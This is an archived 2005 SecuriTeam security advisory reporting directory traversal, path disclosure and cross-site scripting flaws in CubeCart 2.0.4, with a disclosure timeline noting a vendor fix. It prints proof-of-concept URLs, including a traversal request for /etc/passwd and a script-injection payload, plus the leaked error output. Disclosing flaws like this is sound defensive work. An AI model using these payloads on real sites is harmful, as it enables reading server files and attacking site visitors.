Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure, XSS) |
|---|---|
| Date: | 17 Feb 2005 17:52:13 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure, XSS) ------------------------------------------------------------------------ SUMMARY <http://www.cubecart.com> CubeCart is "an eCommerce script written with PHP and MySQL. With CubeCart you can setup a powerful online store as long as you have hosting supporting PHP and one MySQL database". Multiple vulnerabilities have been discovered in CubeCart that allow remote attackers to access files that reside outside the bounding HTML root directory, disclose the path under which CubeCart has been installed and cause the product to include arbitrary HTML and/or JavaScript with the responses it displays to users. DETAILS Vulnerable Systems: * 2.0.4 Directory Traversal You can travel outside the remote host's bounding HTML root directory by utilizing the following example: http://www.victimsite.com/index.php?&language=../../../../../../../../etc/passwd Path Disclosure Providing an invalid value to the "language" parameter causes the program to return the path under which the product has been installed (invalid values are those that contain numbers and letters). The following URL: http://www.victimsite.com/index.php?&language=w00t Will result in the following content being returned: Warning: Failed opening '/var/www/virtual/www.victimsite.com/html/admin/lang/w00t' for inclusion (include_path='.:/usr/share/pear') in /var/www/virtual/www.victimsite.com/html/admin/settings.inc.php on line 134 Warning: Cannot add header information - headers already sent by (output started at /var/www/virtual/www.victimsite.com/html/admin/settings.inc.php:134) in /var/www/virtual/www.victimsite.com/html/shoppingcart.php on line 44 Cross Site Scripting The language parameter can be also used to trigger a cross site scripting vulnerability: http://www.victimsite.com/index.php?&language=<script>var%20test_variable=31337;alert(test_variable);</script> Disclosure Timeline: 09/02/2005 - Vulnerabilities discovered 11/02/2005 - Author(s) informed on 13/02/2005 - Author(s) response: 14/02/2005 - Author(s) issue a fix ADDITIONAL INFORMATION The information has been provided by <mailto:johnc@nobytes.com> John Cobb. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NT] Sami HTTP Server Directory Traversal and DoS, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] AWStats PluginMode and LoadPlugin Command Execution, SecuriTeam |
| Previous by Thread: | [NT] Sami HTTP Server Directory Traversal and DoS, SecuriTeam |
| Next by Thread: | [UNIX] AWStats PluginMode and LoadPlugin Command Execution, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |